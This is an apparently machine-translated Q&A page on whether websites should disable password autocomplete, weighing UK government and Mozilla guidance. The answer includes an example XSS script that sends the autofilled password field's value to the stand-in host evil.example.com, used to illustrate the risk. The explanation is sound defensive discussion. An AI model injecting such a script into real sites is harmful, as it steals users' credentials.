我应该阻止密码自动完成吗?

时间:2016-09-13 04:13:26

标签: security autocomplete passwords standards

上有很多replies here来防止密码表单元素自动完成。我的问题是应该我们?

根据UK government;强制密码重置(我们经常被客户要求做的事情)描述了安全性的净损失,并且积极劝阻。

根据Mozilla;强制密码自动完成关闭 建议安全网络损失。英国.gov网站doesn't mention这种特殊做法。

我的问题:

  • 我应该尝试阻止密码自动填充,强制用户记住他们的密码,还是自动完成提供净收益?

//请引用你的消息来源。

1 个答案:

答案 0 :(得分:4)

更新: My blog如果您希望在浏览器中试用,请提供概念证明。

允许密码自动填充的典型风险是,您网站上的任何XSS漏洞都会允许攻击者获取密码。这是因为浏览器将自动填写密码字段值,因此它将在DOM中可用。

<script>
new Image().src = "//evil.example.com/?password=" + escape(document.getElementById('password').value);
</script>

但是,如果攻击者可以在XSS攻击中自行注入密码字段,无论如何,无论您的真实密码字段是否为自动完成设置,他们都可以注入一个自动填充功能。但经典的是,该属性会阻止密码首先被保存,因此无法在任何攻击中自动完成。

根据您的Mozilla link,浏览器现在会忽略autocomplete="off"

  
      
  • 如果网站为表单设置了autocomplete =“off”,并且该表单包含用户名和密码输入字段,那么浏览器仍会提供   要记住此登录,如果用户同意,浏览器将会   下次用户访问此页面时自动填充这些字段。
  •   
  • 如果网站为用户名和密码输入字段设置了autocomplete =“off”,那么浏览器仍会提供记住此登录信息,并且   如果用户同意,浏览器将自动填充下一个字段   用户访问此页面的时间。
  •   
     

这是Firefox(自版本38以来),Google Chrome(自34版本)和Internet Explorer(自版本11以来)以来的行为。

因此,您的问题的答案是“它没有任何区别”。此外,浏览器有时会在完成登录凭据之前提示,并且可以将诸如Lastpass之类的密码管理器设置为不自动完成字段,而无需用户选择首先使用哪个登录。某些漏洞扫描程序(以及依赖于这些漏洞的测试人员)可能会引发一个低风险问题,即在密码字段上启用自动完成功能。如果是这样,您应该能够自信地将它们指向Mozilla链接的方向。 然而,需要注意的一点是,如果您正在获得PCI合规性,您可能还需要对其进行修复。请参阅my blog post以获得更深入的分析。